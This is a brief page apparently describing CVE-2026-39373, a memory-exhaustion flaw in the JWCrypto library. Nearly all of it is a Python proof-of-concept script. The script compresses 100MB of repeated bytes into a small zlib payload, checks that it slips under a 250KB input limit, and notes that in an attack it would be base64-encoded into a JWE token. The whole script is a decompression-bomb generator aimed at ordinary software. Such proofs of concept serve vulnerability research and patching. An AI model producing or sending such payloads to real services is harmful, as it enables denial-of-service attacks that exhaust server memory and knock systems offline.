CVE-2026-39373 JWCrypto内存耗尽漏洞

import zlib import json # Proof of Concept for CVE-2026-39373 # Description: Generates a compressed payload that expands significantly upon decompression. # This demonstrates the "Zip Bomb" technique used to exhaust memory. def create_malicious_payload(): # Create a large string (e.g., 100MB of 'A's) # This represents the decompressed size that causes memory exhaustion target_size_mb = 100 large_data = b'A' * (target_size_mb * 1024 * 1024) # Compress the data. zlib is used as a proxy for the ZIP compression mentioned. # The compression ratio for repetitive data is very high. compressed_data = zlib.compress(large_data) print(f"Original size: {len(large_data)} bytes (~{target_size_mb}MB)") print(f"Compressed size: {len(compressed_data)} bytes") # Check if it bypasses the 250KB input limit mentioned in the CVE if len(compressed_data) < 250 * 1024: print("Status: Payload bypasses input size limit (< 250KB). Vulnerability confirmed.") # In a real attack scenario, this compressed_data would be base64 encoded # and placed inside a JWE token structure. return compressed_data else: print("Status: Payload too large to bypass current input limits.") return None if __name__ == "__main__": create_malicious_payload()